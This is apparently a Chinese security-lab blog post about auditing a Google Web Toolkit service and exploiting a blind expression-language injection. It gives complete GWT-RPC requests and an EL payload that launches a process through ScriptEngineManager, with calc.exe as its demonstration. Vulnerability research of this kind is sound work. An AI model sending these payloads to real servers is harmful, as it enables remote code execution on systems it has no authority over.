如何在Google Web Toolkit環境下Getshell

Ms08067安全實驗室發表於2021-04-01

出品|MS08067實驗室(www.ms08067.com)

本文作者:大盜賊卡卡

Google Web Toolkit簡稱(GWT),是一款開源Java軟體開發框架。今天這篇文章會介紹如何在這樣的環境中通過注入表示式語句從而導致的高危漏洞。

漏洞介紹

在WEB-INF/web.xml中,我發現了以下的web端點對映:

<servlet>
    <servlet-name>someService</servlet-name>
    <servlet-class>com.aaa.bbb.ccc.ddd.server.SomeServiceImpl</servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>someService</servlet-name>
    <url-pattern>/someService.gwtsvc</url-pattern>
</servlet-mapping>

我們可以從上面程式碼中看到引用了伺服器對映。由於GWT可以通過定義客戶端以便於表示客戶端能夠進行哪些訪問。我們看看這些客戶端類com.aaa.bbb.ccc.ddd.client:

public abstract interface SomeService
  extends RemoteService
{
  public abstract void sendBeanName(String paramString);
  
  public abstract Boolean setMibNodesInfo(List<MIBNodeModel> paramList);
  
  public abstract void createMibNodeGettingBean();
}

通過以上程式碼我們可以看到有三個函式,所以把它們單獨拿出來,看看它們的各自功能都是什麼。在ServiceImpl的主函式中,我們找到了如下程式碼:

public void sendBeanName(String paramString)
  {
    if (paramString == null) {
      return;
    }
    HttpSession localHttpSession = super.getThreadLocalRequest().getSession();
    if (localHttpSession != null) {
      localHttpSession.setAttribute("MibWidgetBeanName", paramString);
    }
  }

在這段程式碼中我們通過輸入字串來更改"MibWidgetBeanName"屬性。除了這一點,好像沒有什麼可以利用的。我們繼續看setMibNodesInfo函式:

public Boolean setMibNodesInfo(List<MIBNodeModel> paramList)
  {
    List localList = ModelUtil.mibNodeModelList2MibNodeList(paramList);
    if (localList != null)
    {
      MibNodesSelect localMibNodesSelect = getBeanByName();

這個函式需要一個MIBNodeModel型別的一個列表。mibNodeModelList2MibNodeList這個方法會檢查我們輸入的列表是否符合規範,並且根據列表的一個元素的值返回不同的值。

如果列表是空,這個函式會定義一個新列表,並且將內容設定為MIBNodeModel的預設值。然後getBeanByName函式就會被呼叫。繼續看看這一函式吧

private MibNodesSelect getBeanByName()
  {
    ...

    Object localObject1 = super.getThreadLocalRequest().getSession();
    if (localObject1 != null)
    {
      localObject2 = (String)((HttpSession)localObject1).getAttribute("MibWidgetBeanName");
      if (localObject2 != null)
      {
        localObject3 = null;
        try
        {
          localObject3 = (MibNodesSelect)FacesUtils.getValueExpressionObject(localFacesContext, "#{" + (String)localObject2 + "}");
        }
        finally
        {
          if ((localFacesContext != null) && (i != 0)) {
            localFacesContext.release();
          }
        }
        return (MibNodesSelect)localObject3;
      }
    }
    return null;
  }

由於這是一個私有函式,所以我們不能通過客戶端直接檢視到這個函式的內容。在第8行我們可以瞭解到這裡再次使用了”MibWidgetBeanName”屬性,將一個字串儲存到了localObject2中。

localObject2這個變數稍後會在第14行被用到去接受一個語言表示式。很明顯,這是一個經典的表示式注入漏洞,不過前提是先反彙編出程式碼呀~

攻擊過程

首先,這不是一個有返回值的語言表示式注入漏洞。這就意味著你不知道它是不是已經執行你輸入的命令。因此,我將它認為是語言表示式盲注。

我通過一個簡單的例子進行說明,假如我們一個JSF(java伺服器框架)存在這樣的一個漏洞,那麼漏洞程式碼會類似下方:

<h:outputText value="${beanEL.ELAsString(request.getParameter('expression'))}" />

那麼,通過以下攻擊程式碼就可以實現攻擊

http://[target]/some_endpoint/vuln.jsf?expression=9%3b1

由於瀏覽器會將"+"號轉換為空格,所以我們對"+"號進行url編碼,如果我們得到的結果是10,那麼我們就知道伺服器已經執行這一個"9+1"這個命令。使用數學表示式進行注入檢測是burpsuit檢測注入的方法。

但是,在上述我們進行審計的程式碼當中,我們是不是不能去輕易的判斷他是不是存在語言表示式漏洞?當然不是,我們還有其他方法。通過查詢JSF說明文件,我發現了一些特別棒的函式,能夠方便我們在不發出http請求確定是否存在EL注入。

Oracle官方文件陳述道你可以在FacesContext物件中使用getExternalContext方法。這個方法會返回一個ExternalContext型別的值,它允許我們設定特定物件的響應屬性。當我檢視文件時,這兩個函式引起了我的注意:

1. setResponseCharacterEncoding
2. redirect

因此我們可以通過設定這個特定字串為下面java程式碼:

facesContext.getExternalContext().redirect("http://srcincite.io/");

如果響應狀態值為302,重定向到了”http://srcincite.io/ “,那麼我們就可以確定存在漏洞。

漏洞測試

我們第一個請求是對MibWidgetBeanName屬性進行賦值

POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base: 
X-GWT-Permutation: 
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 195

6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|facesContext.getExternalContext().redirect("http://srcincite.io/")|1|2|3|4|1|5|6|

通過返回響應為”//ok[[],0,6]”可以瞭解到,我們對GWT注意已經成功。然後第二個請求觸發存放在session中的字串。但是,當我們傳送請求之前,因為setMibNodesInfo函式傳入的是一個複雜的變數型別,我們需要檢視被保護檔案的原始碼,瞭解一下允許提交的型別。在[strongname].gwt.rpc檔案中,我找到了在陣列中可以提交的型別: java.util.ArrayList/382197682。
現在我們可以傳送我們的請求資料了

POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base: 
X-GWT-Permutation: 
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 171

6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|

正確的返回包內容應該和下面相似:

HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=[cookie]; Path=/; Secure; HttpOnly
Set-Cookie: oam.Flash.RENDERMAP.TOKEN=-g9lc30a8l; Path=/; Secure
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Location: http://srcincite.io/
Content-Type: text/html;charset=UTF-8
Content-Length: 45
Date: Wed, 03 May 2017 18:58:36 GMT
Connection: close

//OK[0,1,["java.lang.Boolean/476441737"],0,6]

當然,能夠重定向說明已經執行成功了。但是我們需要的是得到shell,在這篇文章http://blog.mindedsecurity.com/2015/11/reliable-os-shell-with-el-expression.html可以使用ScriptEngineManager的指令碼執行java程式碼。不過他們的程式碼都特別長,所以我使用相同的方法自己寫了一個

"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"cmd.exe\\",\\"/c\\",\\"calc.exe\\"]).start();")

更新MibWidgetBeanName屬性值,然後使用setMibNodesInfo再一次除非這個字串,然後得到系統許可權

POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base: 
X-GWT-Permutation: 
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 366

6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"cmd.exe\\",\\"/c\\",\\"calc.exe\\"]).start();")|1|2|3|4|1|5|6|

觸發語言表示式:

POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base: 
X-GWT-Permutation: 
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 171

6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|

結論

這一漏洞幾乎不可能在黑盒滲透測試中被發現。像burp suite這樣的工具不會發現這樣的漏洞,尤其是在考慮到字串儲存到seesion中這種情況。
隨著網路技術的進步,我們對自動化的依賴越來越大, 在這一領域我們需要更多知識,技能以及工具。

資料參考

http://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html




轉載請聯絡作者並註明出處!

Ms08067安全實驗室專注於網路安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java程式碼安全審計(入門篇)》等書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地為主,致力於做一個實用的乾貨分享型公眾號。
官方網站:https://www.ms08067.com/

掃描下方二維碼加入實驗室VIP社群
加入後邀請加入內部VIP群,內部微信群永久有效!

如何在Google Web Toolkit環境下Getshell如何在Google Web Toolkit環境下Getshell如何在Google Web Toolkit環境下Getshell

如何在Google Web Toolkit環境下Getshell如何在Google Web Toolkit環境下Getshell如何在Google Web Toolkit環境下Getshell

相關文章